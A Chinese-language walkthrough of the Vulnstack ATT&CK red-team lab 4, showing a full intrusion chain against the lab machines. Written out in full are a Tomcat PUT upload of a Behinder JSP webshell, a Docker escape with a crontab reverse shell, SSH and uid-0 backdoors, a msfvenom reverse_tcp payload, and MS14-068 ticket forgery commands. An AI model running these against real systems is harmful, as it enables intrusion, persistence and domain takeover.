[TOC]

ATT&CK红队评估实战靶场四

靶场下载:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

网络拓扑图:

1
2
3
4
5
6
7
8
kali: 192.168.157.129

ubuntu: 192.168.157.130 / 192.168.183.129

win7(域成员):192.168.183.131

DC: 192.168.183.132

环境搭建

使得攻击机kali能ping通web机ubuntu,且win7能ping通域控DC即可

环境是在Ubuntu上用docker做的,需要手动启动docker容器

1
sudo docker start ec 17 09 bb da 3d ab ad

docker ps查看发现均已开启

外网打点

nmap常规扫描

1
sudo nmap -sS -P0 192.168.157.128

查看2001端口为一个上传页面,buu刷过题,很像s2漏洞的靶场

2002端口为tomcat界面

2003端口为phpmyadmin页面

那么getshell方式有许多了,直接上s2漏扫

get webshell

S2-045 getshell

通过s2漏洞得到root权限

tomcat任意文件写入getshell

CVE-2017-12615 将get请求改成put,传入马子即可

上传一个冰蝎马

完整请求包:

1
2
3
4
5
6
7
8
9
10
11
12
13
PUT /abin.jsp/ HTTP/1.1
Host: 192.168.157.128:2002
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6,zh-HK;q=0.5
Cookie: pma_lang=zh_CN; JSESSIONID=1amx4f9rqaxt5pjiqakj6epn5; phpMyAdmin=41eae42372d0270a264bb8bb47a4d7d4
Connection: close
Content-Length: 4

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

phpmyadmin 4.8.1 getshell

Docker逃逸

拿下shell后发现是docker环境下的一个shell,需要docker逃逸拿到改主机真实shell

判断是否为docker环境:

1
2
ls -alh /.dockerenv
cat /proc/1/cgroup

特权模式docker逃逸

如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

创建一个文件夹,将宿主机根目录挂载至容器目录下

1
2
3
fdisk -l
mkdir /111
mount/dev/sda1 /111 #挂载目录 这时在docker环境下会有一个目录/111,而这就是宿主机的目录

计划任务反弹shell

在挂载的 tmp 目录下写入一个反弹 shell 命令

写计划任务

1
sed -i '$a*/1 *    * * *    root  bash /tmp/111.sh '  /111/etc/crontab #使得会弹的shell是以root用户
1
cat /666/etc/crontab #查看计划任务

1
nc -lvnp 666 #攻击机设置监听

回弹

权限维持

软连接后门的原理是利用了 PAM 配置文件的作用,将 sshd 文件软连接名称设置为 su,这样应用在启动过程中他会去 PAM 配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测 uid 0 即可认证成功,这样就导致了可以使用任意密码登录。

1
2
ln -sf /usr/sbin/sshd /tmp/su #设置软连接
/tmp/su -oPort=6060 #连接端口为6060

使用shh远程登陆,密码为任意密码,但用户为普通权限,还需要进一步操作

添加 uid 0 用户后门 root 组权限

1
useradd -p `openssl passwd 123456`  -o -u 0 abin #创建一个后门用户abin,权限为root

这时使用su abin切换到abin用户

如上图,成功登陆且权限为root

内网渗透

上线msf

制作msf码

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.157.129 LPORT=9091 -f elf > shell.elf

上传至目标机器中,并赋予权限

本地设置监听

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.157.129
set lport 9091
run

收到会话

信息收集

发现第二个网段,192.168.183

添加一个网段

1
route add 192.168.183.0 255.255.255.0 2

端口扫描

1
2
3
4
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.183.0/24
set threads 20
run

扫出了192.168.183.131和192.168.183.137两个存活目标,且开放了445端口,尝试通过ms17010打

MS-17-010

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue #攻击模块
set rhost 192.168.183.135 #设置监听地址
set lhost 192.168.183.131 #设置攻击目标
run

一直没成功。。。。 每次打ms17010就跟博彩一样 害

既然是靶机,那我就投机取巧,直接在win7上上个马进行上线

上线cs

本地开启cs服务端

此处省略一系列投机取巧的方法。。

Ding!

域内渗透

直接getsystem尝试提权,失败

使用ms14-058提权,成功得到system权限

查看当前所打补丁与该域信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
主机名:           TESTWIN7-PC
OS 名称: Microsoft Windows 7 企业版
OS 版本: 6.1.7601 Service Pack 1 Build 7601
OS 制造商: Microsoft Corporation
OS 配置: 成员工作站
OS 构件类型: Multiprocessor Free
注册的所有人: testwin7
注册的组织:
产品 ID: 00392-918-5000002-85176
初始安装日期: 2019/12/31, 10:38:42
系统启动时间: 2022/1/18, 1:02:58
系统制造商: VMware, Inc.
系统型号: VMware Virtual Platform
系统类型: x64-based PC
处理器: 安装了 1 个处理器。
[01]: AMD64 Family 23 Model 96 Stepping 1 AuthenticAMD ~1796 Mhz
BIOS 版本: Phoenix Technologies LTD 6.00, 2020/7/22
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量: 2,047 MB
可用的物理内存: 1,415 MB
虚拟内存: 最大值: 4,095 MB
虚拟内存: 可用: 3,297 MB
虚拟内存: 使用中: 798 MB
页面文件位置: C:\pagefile.sys
域: demo.com
登录服务器: 暂缺
修补程序: 安装了 37 个修补程序。
[01]: KB2491683
[02]: KB2534111
[03]: KB2564958
[04]: KB2621440
[05]: KB2653956
[06]: KB2654428
[07]: KB2698365
[08]: KB2705219
[09]: KB2736422
[10]: KB2813430
[11]: KB2900986
[12]: KB2937610
[13]: KB2943357
[14]: KB2978120
[15]: KB2984972
[16]: KB2992611
[17]: KB2999226
[18]: KB3004375
[19]: KB3010788
[20]: KB3023215
[21]: KB3031432
[22]: KB3035126
[23]: KB3037574
[24]: KB3045685
[25]: KB3046269
[26]: KB3072305
[27]: KB3074543
[28]: KB3086255
[29]: KB3097989
[30]: KB3101722
[31]: KB3108371
[32]: KB3122648
[33]: KB3127220
[34]: KB3155178
[35]: KB4019990
[36]: KB4040980
[37]: KB976902
网卡: 安装了 1 个 NIC。
[01]: Intel(R) PRO/1000 MT Network Connection
连接名: 本地连接
启用 DHCP: 是
DHCP 服务器: 192.168.183.254
IP 地址
[01]: 192.168.183.138
[02]: fe80::d5a8:ce39:2905:4aca

补丁未打ms14-068的,可以使用该漏洞直接拿下域管

抓取到该机器密码为Dotest123

MS14-068拿下域控

获取到sid

打开mimikatz,清除票据

1
kerberos::purge

生成票据

1
MS14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.138 -p Dotest123

注入票据

1
kerberos::ptc C:\Users\douser\Desktop\TGT_douser@demo.com.ccache

最后使用计划任务或者直接cs里用跳板跳即可

就这样吧。。。。。